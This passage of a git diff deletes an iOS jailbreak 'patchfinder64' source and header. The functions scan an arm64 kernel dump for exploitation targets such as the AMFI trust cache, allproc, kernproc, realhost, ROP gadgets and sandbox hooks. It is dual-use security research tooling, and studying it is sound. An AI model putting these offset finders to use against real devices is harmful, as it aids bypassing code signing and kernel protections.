- return 0;
- }
- what = str - kernel + kerndumpbase;
- for (off = 0; off < kernel_size - prelink_base; off += 8) {
- if (*(uint64_t *)(kernel + prelink_base + off) == what) {
- return *(uint64_t *)(kernel + prelink_base + off + 24);
- }
- }
- return 0;
-}
-
-addr_t
-find_lwvm_mapio_patch(void)
-{
- addr_t call, dest, reg;
- addr_t ref = find_strref("_mapForIO", 1, 1);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- call = step64(kernel, ref, 64, INSN_CALL);
- if (!call) {
- return 0;
- }
- call = step64(kernel, call + 4, 64, INSN_CALL);
- if (!call) {
- return 0;
- }
- dest = follow_call64(kernel, call);
- if (!dest) {
- return 0;
- }
- reg = calc64(kernel, dest, dest + 8, 16);
- if (!reg) {
- return 0;
- }
- return reg + kerndumpbase;
-}
-
-addr_t
-find_lwvm_mapio_newj(void)
-{
- addr_t call;
- addr_t ref = find_strref("_mapForIO", 1, 1);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- call = step64(kernel, ref, 64, INSN_CALL);
- if (!call) {
- return 0;
- }
- call = step64(kernel, call + 4, 64, INSN_CALL);
- if (!call) {
- return 0;
- }
- call = step64(kernel, call + 4, 64, INSN_CALL);
- if (!call) {
- return 0;
- }
- call = step64_back(kernel, call, 64, INSN_B);
- if (!call) {
- return 0;
- }
- return call + 4 + kerndumpbase;
-}
-
-addr_t
-find_cpacr_write(void)
-{
- addr_t off;
- uint32_t *k;
- k = (uint32_t *)(kernel + xnucore_base);
- for (off = 0; off < xnucore_size - 4; off += 4, k++) {
- if (k[0] == 0xd5181040) {
- return off + xnucore_base + kerndumpbase;
- }
- }
- return 0;
-}
-
-addr_t
-find_str(const char *string)
-{
- uint8_t *str = boyermoore_horspool_memmem(kernel, kernel_size, (uint8_t *)string, strlen(string));
- if (!str) {
- return 0;
- }
- return str - kernel + kerndumpbase;
-}
-
-addr_t
-find_entry(void)
-{
- /* XXX returns an unslid address */
- return kernel_entry;
-}
-
-const unsigned char *
-find_mh(void)
-{
- return kernel_mh;
-}
-
-addr_t
-find_amfiops(void)
-{
- addr_t off, what;
- uint8_t *str = boyermoore_horspool_memmem(kernel + pstring_base, pstring_size, (uint8_t *)"Apple Mobile File Integrity", sizeof("Apple Mobile File Integrity") - 1);
- if (!str) {
- return 0;
- }
- what = str - kernel + kerndumpbase;
- /* XXX will only work on a dumped kernel */
- for (off = 0; off < kernel_size - prelink_base; off += 8) {
- if (*(uint64_t *)(kernel + prelink_base + off) == what) {
- return *(uint64_t *)(kernel + prelink_base + off + 0x18);
- }
- }
- return 0;
-}
-
-addr_t
-find_sysbootnonce(void)
-{
- addr_t off, what;
- uint8_t *str = boyermoore_horspool_memmem(kernel + cstring_base, cstring_size, (uint8_t *)"com.apple.System.boot-nonce", sizeof("com.apple.System.boot-nonce") - 1);
- if (!str) {
- return 0;
- }
- what = str - kernel + kerndumpbase;
- for (off = 0; off < kernel_size - xnucore_base; off += 8) {
- if (*(uint64_t *)(kernel + xnucore_base + off) == what) {
- return xnucore_base + off + 8 + 4 + kerndumpbase;
- }
- }
- return 0;
-}
-
-addr_t
-find_trustcache(void)
-{
- addr_t cbz, call, func, val;
- addr_t ref = find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1);
- if (!ref) {
- // iOS 11
- ref = find_strref("com.apple.MobileFileIntegrity", 0, 1);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- call = step64(kernel, ref, 64, INSN_CALL);
- if (!call) {
- return 0;
- }
- call = step64(kernel, call + 4, 64, INSN_CALL);
- goto okay;
- }
- ref -= kerndumpbase;
- cbz = step64(kernel, ref, 32, INSN_CBZ);
- if (!cbz) {
- return 0;
- }
- call = step64(kernel, follow_cbz(kernel, cbz), 4, INSN_CALL);
- okay:
- if (!call) {
- return 0;
- }
- func = follow_call64(kernel, call);
- if (!func) {
- return 0;
- }
- val = calc64(kernel, func, func + 16, 8);
- if (!val) {
- ref = find_strref("%s: only allowed process can check the trust cache", 1, 1); // Trying to find AppleMobileFileIntegrityUserClient::isCdhashInTrustCache
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- call = step64_back(kernel, ref, 11*4, INSN_CALL);
- if (!call) {
- return 0;
- }
- func = follow_call64(kernel, call);
- if (!func) {
- return 0;
- }
- call = step64(kernel, func, 8*4, INSN_CALL);
- if (!call) {
- return 0;
- }
- func = follow_call64(kernel, call);
- if (!func) {
- return 0;
- }
- call = step64(kernel, func, 8*4, INSN_CALL);
- if (!call) {
- return 0;
- }
- call = step64(kernel, call+4, 8*4, INSN_CALL);
- if (!call) {
- return 0;
- }
- func = follow_call64(kernel, call);
- if (!func) {
- return 0;
- }
- call = step64(kernel, func, 12*4, INSN_CALL);
- if (!call) {
- return 0;
- }
-
- val = calc64(kernel, call, call + 6*4, 21);
- }
- return val + kerndumpbase;
-}
-
-addr_t
-find_amficache(void)
-{
- addr_t ref = find_strref("in-kernel", 1, 1);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- //printf("ref at 0x%llx 0x%llx\n", ref, REAL_ADDR(ref));
- addr_t call = step64_back(kernel, ref, 32, INSN_CALL);
- if (!call) {
- return 0;
- }
- //printf("call at 0x%llx 0x%llx\n", call, REAL_ADDR(call));
- if (!call) {
- return 0;
- }
- addr_t func = follow_call64(kernel, call);
- //printf("func at 0x%llx 0x%llx\n", func, REAL_ADDR(func));
- if (!func) {
- return 0;
- }
- addr_t val = calc64(kernel, func + 32, func + 40, 9);
- return val + kerndumpbase;
-}
-
-/* extra_recipe **************************************************************/
-
-#define INSN_STR8 0xF9000000 | 8, 0xFFC00000 | 0x1F
-#define INSN_POPS 0xA9407BFD, 0xFFC07FFF
-
-addr_t
-find_AGXCommandQueue_vtable(void)
-{
- addr_t val, str8;
- addr_t ref = find_strref("AGXCommandQueue", 1, 1);
- if (!ref) {
- return 0;
- }
- val = find_register_value(ref, 0);
- if (!val) {
- return 0;
- }
- ref = find_reference(val, 1, 1);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- str8 = step64(kernel, ref, 32, INSN_STR8);
- if (!str8) {
- return 0;
- }
- val = calc64(kernel, ref, str8, 8);
- if (!val) {
- return 0;
- }
- return val + kerndumpbase;
-}
-
-addr_t
-find_allproc(void)
-{
- addr_t val, bof, str8;
- addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- bof = bof64(kernel, xnucore_base, ref);
- if (!bof) {
- return 0;
- }
- str8 = step64_back(kernel, ref, ref - bof, INSN_STR8);
- if (!str8) {
- // iOS 11
- addr_t ldp = step64(kernel, ref, 1024, INSN_POPS);
- if (!ldp) {
- return 0;
- }
- str8 = step64_back(kernel, ldp, ldp - bof, INSN_STR8);
- if (!str8) {
- return 0;
- }
- }
- val = calc64(kernel, bof, str8, 8);
- if (!val) {
- return 0;
- }
- return val + kerndumpbase;
-}
-
-addr_t
-find_call5(void)
-{
- addr_t bof;
- uint8_t gadget[] = { 0x95, 0x5A, 0x40, 0xF9, 0x68, 0x02, 0x40, 0xF9, 0x88, 0x5A, 0x00, 0xF9, 0x60, 0xA2, 0x40, 0xA9 };
- uint8_t *str = boyermoore_horspool_memmem(kernel + prelink_base, prelink_size, gadget, sizeof(gadget));
- if (!str) {
- return 0;
- }
- bof = bof64(kernel, prelink_base, str - kernel);
- if (!bof) {
- return 0;
- }
- return bof + kerndumpbase;
-}
-
-addr_t find_add_x0_x0_0x40_ret(void) {
- addr_t off;
- uint32_t *k;
- k = (uint32_t *)(kernel + xnucore_base);
- for (off = 0; off < xnucore_size - 4; off += 4, k++) {
- if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {
- return off + xnucore_base + kerndumpbase;
- }
- }
- k = (uint32_t *)(kernel + prelink_base);
- for (off = 0; off < prelink_size - 4; off += 4, k++) {
- if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {
- return off + prelink_base + kerndumpbase;
- }
- }
- return 0;
-}
-
-addr_t find_copyout(void) {
- // Find the first reference to the string
- addr_t ref = find_strref("\"%s(%p, %p, %lu) - transfer too large\"", 2, 0);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
-
- uint64_t start = 0;
- for (int i = 4; i < 0x100*4; i+=4) {
- uint32_t op = *(uint32_t*)(kernel+ref-i);
- if (op == 0xd10143ff) { // SUB SP, SP, #0x50
- start = ref-i;
- break;
- }
- }
- if (!start) {
- return 0;
- }
-
- return start + kerndumpbase;
-}
-
-addr_t find_bzero(void) {
- // Just find SYS #3, c7, c4, #1, X3, then get the start of that function
- addr_t off;
- uint32_t *k;
- k = (uint32_t *)(kernel + xnucore_base);
- for (off = 0; off < xnucore_size - 4; off += 4, k++) {
- if (k[0] == 0xd50b7423) {
- off += xnucore_base;
- break;
- }
- }
-
- uint64_t start = bof64(kernel, xnucore_base, off);
- if (!start) {
- return 0;
- }
-
- return start + kerndumpbase;
-}
-
-addr_t find_bcopy(void) {
- // Jumps straight into memmove after switching x0 and x1 around
- // Guess we just find the switch and that's it
- addr_t off;
- uint32_t *k;
- k = (uint32_t *)(kernel + xnucore_base);
- for (off = 0; off < xnucore_size - 4; off += 4, k++) {
- if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) {
- return off + xnucore_base + kerndumpbase;
- }
- }
- k = (uint32_t *)(kernel + prelink_base);
- for (off = 0; off < prelink_size - 4; off += 4, k++) {
- if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) {
- return off + prelink_base + kerndumpbase;
- }
- }
- return 0;
-}
-
-addr_t find_rootvnode(void) {
- // Find the first reference to the string
- addr_t ref = find_strref("/var/run/.vfs_rsrc_streams_%p%x", 1, 0);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
-
- uint64_t start = bof64(kernel, xnucore_base, ref);
- if (!start) {
- return 0;
- }
-
- // Find MOV X9, #0x2000000000 - it's a pretty distinct instruction
- addr_t weird_instruction = 0;
- for (int i = 4; i < 4*0x100; i+=4) {
- uint32_t op = *(uint32_t *)(kernel + ref - i);
- if (op == 0xB25B03E9) {
- weird_instruction = ref-i;
- break;
- }
- }
- if (!weird_instruction) {
- return 0;
- }
-
- uint64_t val = calc64(kernel, start, weird_instruction, 8);
- if (!val) {
- return 0;
- }
-
- return val + kerndumpbase;
-}
-
-addr_t find_realhost(void) {
- uint64_t val = kerndumpbase;
-
- addr_t ref1 = find_strref("\"ipc_init: kmem_suballoc of ipc_kernel_copy_map failed\"", 1, 0);
- ref1 -= kerndumpbase;
- addr_t ref2 = find_strref("\"ipc_host_init\"", 1, 0);
- ref2 -= kerndumpbase;
-
- addr_t call = ref2;
- call = step64(kernel, call+4, 32, INSN_CALL); // panic
- call = step64(kernel, call+4, 32, INSN_CALL); // something about
- call = step64(kernel, call+4, 32, INSN_CALL); // allocing ports
- call = step64(kernel, call+4, 32, INSN_CALL); // _lck_mtx_lock
-
- call -= 4; // previous insn
-
- uint32_t mov_opcode = *(uint32_t*)(kernel+call);
- // must be mov x0, xm
- if ((mov_opcode & 0xAA0003E0) != 0xAA0003E0) {
- return 0;
- }
- uint8_t xm = (mov_opcode & 0x1F0000) >> 16;
-
- uint32_t *insn = (uint32_t*)(kernel+ref1);
- int i = 0;
-
- // adrp xX, #_realhost@PAGE
- for (i = 0; i != ref2 - ref1; ++i) {
- if ((insn[i] & xm) == xm && (insn[i] & 0x9F000000) == 0x90000000)
- break;
- }
-
- if (i == ref2 - ref1) {
- return 0;
- }
-
- // get pc
- val += ((uint8_t*)(insn + i) - kernel) & ~0xfff;
-
- // don't ask, I wrote this at 5am
- val += (insn[i]<<9 & 0x1ffffc000) | (insn[i]>>17 & 0x3000);
-
- // add xX, xX, #_realhost@PAGEOFF
- ++i;
- // xd == xX, xn == xX, SS == 00
- if ((insn[i]&0x1f) != xm || ((insn[i]>>5)&0x1f) != xm || ((insn[i]>>22)&3) != 0) {
- return 0;
- }
-
- val += (insn[i]>>10) & 0xfff;
-
- return val;
-}
-
-addr_t find_zone_map_ref(void) {
- // \"Nothing being freed to the zone_map. start = end = %p\\n\"
- uint64_t val = kerndumpbase;
-
- addr_t ref = find_strref("\"Nothing being freed to the zone_map. start = end = %p\\n\"", 1, 0);
- ref -= kerndumpbase;
-
- // skip add & adrp for panic str
- ref -= 8;
-
- // adrp xX, #_zone_map@PAGE
- ref = step64_back(kernel, ref, 30, INSN_ADRP);
-
- uint32_t *insn = (uint32_t*)(kernel+ref);
- // get pc
- val += ((uint8_t*)(insn) - kernel) & ~0xfff;
- uint8_t xm = *insn & 0x1f;
-
- // don't ask, I wrote this at 5am
- val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000);
-
- // ldr x, [xX, #_zone_map@PAGEOFF]
- ++insn;
- if ((*insn & 0xF9C00000) != 0xF9400000) {
- return 0;
- }
-
- // xd == xX, xn == xX,
- if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) {
- return 0;
- }
-
- val += ((*insn >> 10) & 0xFFF) << 3;
-
- return val;
-}
-
-addr_t find_OSBoolean_True(void) {
- addr_t val;
- addr_t ref = find_strref("Delay Autounload", 0, 0);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
-
- addr_t weird_instruction = 0;
- for (int i = 4; i < 4*0x100; i+=4) {
- uint32_t op = *(uint32_t *)(kernel + ref + i);
- if (op == 0x320003E0) {
- weird_instruction = ref+i;
- break;
- }
- }
- if (!weird_instruction) {
- return 0;
- }
-
- val = calc64(kernel, ref, weird_instruction, 8);
- if (!val) {
- return 0;
- }
-
- return rk64(val + kerndumpbase);
-}
-
-addr_t find_OSBoolean_False(void) {
- return find_OSBoolean_True() + 8;
-}
-
-addr_t find_osunserializexml(void) {
- addr_t ref = find_strref("OSUnserializeXML: %s near line %d\n", 1, 0);
- ref -= kerndumpbase;
- uint64_t start = bof64(kernel, xnucore_base, ref);
- return start + kerndumpbase;
-}
-
-addr_t find_smalloc(void) {
- addr_t ref = find_strref("sandbox memory allocation failure", 1, 1);
- ref -= kerndumpbase;
- uint64_t start = bof64(kernel, prelink_base, ref);
- return start + kerndumpbase;
-}
-
-addr_t find_vfs_context_current(void) {
- addr_t call1;
- addr_t func1;
-
- addr_t error_str = find_strref("\"vnode_put(%p): iocount < 1\"", 1, 0);
- error_str -= kerndumpbase;
-
- call1 = step64_back(kernel, error_str, 10*4, INSN_CALL);
- func1 = follow_call64(kernel, call1);
-
- return func1 + kerndumpbase;
-}
-
-
-addr_t find_vnode_lookup(void) {
- addr_t call1;
- addr_t func1;
-
- addr_t hfs_str = find_strref("hfs: journal open cb: error %d looking up device %s (dev uuid %s)\n", 1, 1);
- hfs_str -= kerndumpbase;
-
- call1 = step64_back(kernel, hfs_str, 10*4, INSN_CALL);
-
- // this gets to the stub
- func1 = follow_call64(kernel, call1);
-
- addr_t stub_offset = calc64(kernel, func1, func1+12, 16);
- addr_t val = *(addr_t*)(kernel+stub_offset);
-
- return val;
-}
-
-addr_t find_vnode_put(void) {
- addr_t call1, call2, call3;
- addr_t func1;
-
- addr_t ent_str = find_strref("KBY: getparent(%p) != parent_vp(%p)", 1, 1);
- ent_str -= kerndumpbase;
-
- call1 = step64(kernel, ent_str, 20*4, INSN_CALL);
- call1 += 4;
- call2 = step64(kernel, call1, 20*4, INSN_CALL);
- call2 += 4;
- call3 = step64(kernel, call2, 20*4, INSN_CALL);
-
- // this gets to the stub
- func1 = follow_call64(kernel, call3);
-
- addr_t stub_offset = calc64(kernel, func1, func1+12, 16);
- addr_t val = *(addr_t*)(kernel+stub_offset);
-
- return val;
-}
-
-addr_t find_vnode_getfromfd(void) {
- addr_t call1, call2, call3, call4, call5, call6, call7;
- addr_t func1;
-
- addr_t ent_str = find_strref("rootless_storage_class_entitlement", 1, 1);
- ent_str -= kerndumpbase;
-
- call1 = step64(kernel, ent_str, 20*4, INSN_CALL);
- call1 += 4;
- call2 = step64(kernel, call1, 20*4, INSN_CALL);
- call2 += 4;
- call3 = step64(kernel, call2, 20*4, INSN_CALL);
- call3 += 4;
- call4 = step64(kernel, call3, 20*4, INSN_CALL);
- call4 += 4;
- call5 = step64(kernel, call4, 20*4, INSN_CALL);
- call5 += 4;
- call6 = step64(kernel, call5, 20*4, INSN_CALL);
- call6 += 4;
-
- // this gets to the stub
- call7 = step64(kernel, call6, 20*4, INSN_CALL);
- func1 = follow_call64(kernel, call7);
-
- addr_t stub_offset = calc64(kernel, func1, func1+12, 16);
- addr_t val = *(addr_t*)(kernel+stub_offset);
-
- return val;
-}
-
-addr_t find_vnode_getattr(void) {
- addr_t call1;
- addr_t func1;
-
- addr_t error_str = find_strref("\"add_fsevent: you can't pass me a NULL vnode ptr (type %d)!\\n\"", 1, 0);
- error_str -= kerndumpbase;
-
- error_str += 12; // bypass the panic call
-
- call1 = step64(kernel, error_str, 30*4, INSN_CALL);
- func1 = follow_call64(kernel, call1);
-
- return func1 + kerndumpbase;
-}
-
-addr_t find_SHA1Init(void) {
- addr_t call1;
- addr_t func1;
-
- addr_t id_str = find_strref("chip-id", 1, 1);
- id_str -= kerndumpbase;
-
- call1 = step64(kernel, id_str, 30*4, INSN_CALL);
- func1 = follow_call64(kernel, call1);
-
- return func1 + kerndumpbase;
-}
-
-addr_t find_SHA1Update(void) {
- addr_t call1, call2;
- addr_t func1;
-
- addr_t id_str = find_strref("chip-id", 1, 1);
- id_str -= kerndumpbase;
-
- call1 = step64(kernel, id_str, 30*4, INSN_CALL);
- call1 += 4;
- call2 = step64(kernel, call1, 30*4, INSN_CALL);
- func1 = follow_call64(kernel, call2);
-
- return func1 + kerndumpbase;
-}
-
-
-addr_t find_SHA1Final(void) {
- addr_t call1, call2, call3, call4, call5;
- addr_t func1;
-
- addr_t id_str = find_strref("chip-id", 1, 1);
- id_str -= kerndumpbase;
-
- call1 = step64(kernel, id_str, 30*4, INSN_CALL);
- call1 += 4;
- call2 = step64(kernel, call1, 30*4, INSN_CALL);
- call2 += 4;
- call3 = step64(kernel, call2, 30*4, INSN_CALL);
- call3 += 4;
- call4 = step64(kernel, call3, 30*4, INSN_CALL);
- call4 += 4;
- call5 = step64(kernel, call4, 30*4, INSN_CALL);
- func1 = follow_call64(kernel, call5);
-
- return func1 + kerndumpbase;
-}
-
-addr_t find_csblob_entitlements_dictionary_set(void) {
- addr_t call1, call2, call3, call7;
- addr_t func1;
-
- addr_t ent_str = find_strref("entitlements are not a dictionary", 1, 1);
- ent_str -= kerndumpbase;
-
- call1 = step64(kernel, ent_str, 20*4, INSN_CALL);
- call1 += 4;
- call2 = step64(kernel, call1, 20*4, INSN_CALL);
- call2 += 4;
- call3 = step64(kernel, call2, 20*4, INSN_CALL);
- /*call3 += 4;
- call4 = step64(kernel, call3, 20*4, INSN_CALL);
- call4 += 4;
- call5 = step64(kernel, call4, 20*4, INSN_CALL);*/
-
- // this gets to the stub
- call7 = step64(kernel, call3, 20*4, INSN_CALL); // IF DOESNT WORK, REPLACE THIS WITH call5, AND UNCOMMENT
- func1 = follow_call64(kernel, call7);
-
- addr_t stub_offset = calc64(kernel, func1, func1+12, 16);
- addr_t val = *(addr_t*)(kernel+stub_offset);
-
- return val;
-}
-addr_t find_kernel_task(void) {
- addr_t call1;
- addr_t func1;
-
- addr_t str = find_strref("\"thread_terminate\"", 1, 0);
- str -= kerndumpbase;
-
- func1 = bof64(kernel, xnucore_base, str); // find thread_terminate
-
- call1 = step64(kernel, func1, 20*4, INSN_CALL); // Find the first call
-
- addr_t kern_task = calc64(kernel, func1, call1, 9);
- return kern_task;
-}
-
-
-addr_t find_kernproc(void) {
- addr_t call1, call2, call3, call4, call5, call6;
-
- addr_t err_str = find_strref("0 == error", 1, 0);
- err_str -= kerndumpbase;
-
- call1 = step64_back(kernel, err_str, 20*4, INSN_CALL);
- call1 -= 4;
- call2 = step64_back(kernel, call1, 20*4, INSN_CALL);
- call2 -= 4;
- call3 = step64_back(kernel, call2, 20*4, INSN_CALL);
- call3 -= 4;
- call4 = step64_back(kernel, call3, 20*4, INSN_CALL);
- call4 -= 4;
- call5 = step64_back(kernel, call4, 20*4, INSN_CALL);
- call5 -= 4;
- call6 = step64_back(kernel, call5, 20*4, INSN_CALL);
-
- // this gets to the stub
- addr_t kernproc = calc64(kernel, call6, call5, 1);
-
- return kernproc;
-}
-#ifdef HAVE_MAIN
-#include <mach-o/nlist.h>
-
-addr_t
-find_symbol(const char *symbol)
-{
- unsigned i;
- const struct mach_header *hdr = kernel_mh;
- const uint8_t *q;
- int is64 = 0;
-
- if (IS64(hdr)) {
- is64 = 4;
- }
-
- /* XXX will only work on a decrypted kernel */
- if (!kernel_delta) {
- return 0;
- }
-
- /* XXX I should cache these. ohwell... */
- q = (uint8_t *)(hdr + 1) + is64;
- for (i = 0; i < hdr->ncmds; i++) {
- const struct load_command *cmd = (struct load_command *)q;
- if (cmd->cmd == LC_SYMTAB) {
- const struct symtab_command *sym = (struct symtab_command *)q;
- const char *stroff = (const char *)kernel + sym->stroff + kernel_delta;
- if (is64) {
- uint32_t k;
- const struct nlist_64 *s = (struct nlist_64 *)(kernel + sym->symoff + kernel_delta);
- for (k = 0; k < sym->nsyms; k++) {
- if (s[k].n_type & N_STAB) {
- continue;
- }
- if (s[k].n_value && (s[k].n_type & N_TYPE) != N_INDR) {
- if (!strcmp(symbol, stroff + s[k].n_un.n_strx)) {
- /* XXX this is an unslid address */
- return s[k].n_value;
- }
- }
- }
- }
- }
- q = q + cmd->cmdsize;
- }
- return 0;
-}
-
-/* test **********************************************************************/
-
-int
-main(int argc, char **argv)
-{
- int rv;
- addr_t base = 0;
- const addr_t vm_kernel_slide = 0;
- rv = init_kernel(base, (argc > 1) ? argv[1] : "krnl");
- assert(rv == 0);
-
- addr_t AGXCommandQueue_vtable = find_AGXCommandQueue_vtable();
- printf("\t\t\t<string>0x%llx</string>\n", AGXCommandQueue_vtable - vm_kernel_slide);
- addr_t OSData_getMetaClass = find_symbol("__ZNK6OSData12getMetaClassEv");
- printf("\t\t\t<string>0x%llx</string>\n", OSData_getMetaClass);
- addr_t OSSerializer_serialize = find_symbol("__ZNK12OSSerializer9serializeEP11OSSerialize");
- printf("\t\t\t<string>0x%llx</string>\n", OSSerializer_serialize);
- addr_t k_uuid_copy = find_symbol("_uuid_copy");
- printf("\t\t\t<string>0x%llx</string>\n", k_uuid_copy);
- addr_t allproc = find_allproc();
- printf("\t\t\t<string>0x%llx</string>\n", allproc);
- addr_t realhost = find_realhost();
- printf("\t\t\t<string>0x%llx</string>\n", realhost - vm_kernel_slide);
- addr_t call5 = find_call5();
- printf("\t\t\t<string>0x%llx</string>\n", call5 - vm_kernel_slide);
-
- addr_t trustcache = find_trustcache();
- printf("\t\t\t<string>0x%llx</string>\n", trustcache);
- addr_t amficache = find_amficache();
- printf("\t\t\t<string>0x%llx</string>\n", amficache);
-
- term_kernel();
- return 0;
-}
-
-#endif /* HAVE_MAIN */
-
diff --git a/patchfinder64.h b/patchfinder64.h
deleted file mode 100644
index bd805b5..0000000
--- a/patchfinder64.h
+++ /dev/null
@@ -1,55 +0,0 @@
-#ifndef PATCHFINDER64_H_
-#define PATCHFINDER64_H_
-
-int init_kernel(uint64_t base, const char *filename);
-void term_kernel(void);
-
-enum { SearchInCore, SearchInPrelink };
-
-uint64_t find_register_value(uint64_t where, int reg);
-uint64_t find_reference(uint64_t to, int n, int prelink);
-uint64_t find_strref(const char *string, int n, int prelink);
-uint64_t find_gPhysBase(void);
-uint64_t find_kernel_pmap(void);
-uint64_t find_amfiret(void);
-uint64_t find_ret_0(void);
-uint64_t find_amfi_memcmpstub(void);
-uint64_t find_sbops(void);
-uint64_t find_lwvm_mapio_patch(void);
-uint64_t find_lwvm_mapio_newj(void);
-
-uint64_t find_entry(void);
-const unsigned char *find_mh(void);
-
-uint64_t find_cpacr_write(void);
-uint64_t find_str(const char *string);
-uint64_t find_amfiops(void);
-uint64_t find_sysbootnonce(void);
-uint64_t find_trustcache(void);
-uint64_t find_amficache(void);
-uint64_t find_allproc(void);
-uint64_t find_add_x0_x0_0x40_ret(void);
-uint64_t find_copyout(void);
-uint64_t find_bzero(void);
-uint64_t find_bcopy(void);
-uint64_t find_rootvnode(void);
-uint64_t find_realhost(void);
-uint64_t find_zone_map_ref(void);
-uint64_t find_OSBoolean_True(void);
-uint64_t find_OSBoolean_False(void);
-uint64_t find_osunserializexml(void);
-uint64_t find_smalloc(void);
-uint64_t find_vfs_context_current(void);
-uint64_t find_vnode_lookup(void);
-uint64_t find_vnode_put(void);
-uint64_t find_vnode_getfromfd(void);
-uint64_t find_vnode_getattr(void);
-uint64_t find_SHA1Init(void);
-uint64_t find_SHA1Update(void);
-uint64_t find_SHA1Final(void);
-uint64_t find_csblob_entitlements_dictionary_set(void);
-uint64_t find_kernel_task(void);
-uint64_t find_kernproc(void);
-
-#endif
-